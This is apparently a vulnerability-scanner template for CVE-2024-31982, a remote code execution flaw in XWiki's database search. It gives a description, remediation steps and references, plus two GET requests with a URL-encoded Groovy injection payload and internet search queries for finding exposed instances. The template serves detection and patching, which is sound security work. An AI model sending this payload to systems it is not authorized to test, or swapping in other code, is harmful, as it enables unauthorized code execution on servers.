id: CVE-2024-31982

info:
  name: XWiki < 4.10.20 - Remote code execution
  author: ritikchaddha
  severity: critical
  description: |
    XWiki Platform is a generic wiki platform. Starting in version 2.4-milestone-1 and prior to versions 4.10.20, 15.5.4, and 15.10-rc-1, XWiki's database search allows remote code execution through the search text. This allows remote code execution for any visitor of a public wiki or user of a closed wiki as the database search is by default accessible for all users. This impacts the confidentiality, integrity and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 14.10.20, 15.5.4 and 15.10RC1. As a workaround, one may manually apply the patch to the page `Main.DatabaseSearch`. Alternatively, unless database search is explicitly used by users, this page can be deleted as this is not the default search interface of XWiki.
  impact: |
    Successful exploitation could lead to remote code execution.
  remediation: |
    Apply the vendor-supplied patch or upgrade to a 14.10.20 ,15.5.4, 15.10-rc-1.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-21472
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-2858-8cfx-69m9
    - https://jira.xwiki.org/browse/XWIKI-21110
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-31982
    cwe-id: CWE-95
    epss-score: 0.3428
    epss-percentile: 0.98245
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2024,xwiki,rce,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20"
      - "{{BaseURL}}/bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20"

    skip-variables-check: true
    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Hello from search text:42</title>", "<title>RSS feed")'
          - 'contains(header, "text/javascript")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100a14479317654ae7ce7398e0da0f668ab53eb41e68c32a5c12a67d2a5db8f3373022100ba8d2fe81076cf0ce1dbdbf9e159e8db528657315dc6a4c4696730806a001b08:922c64590222798bb761d5b6d8e72950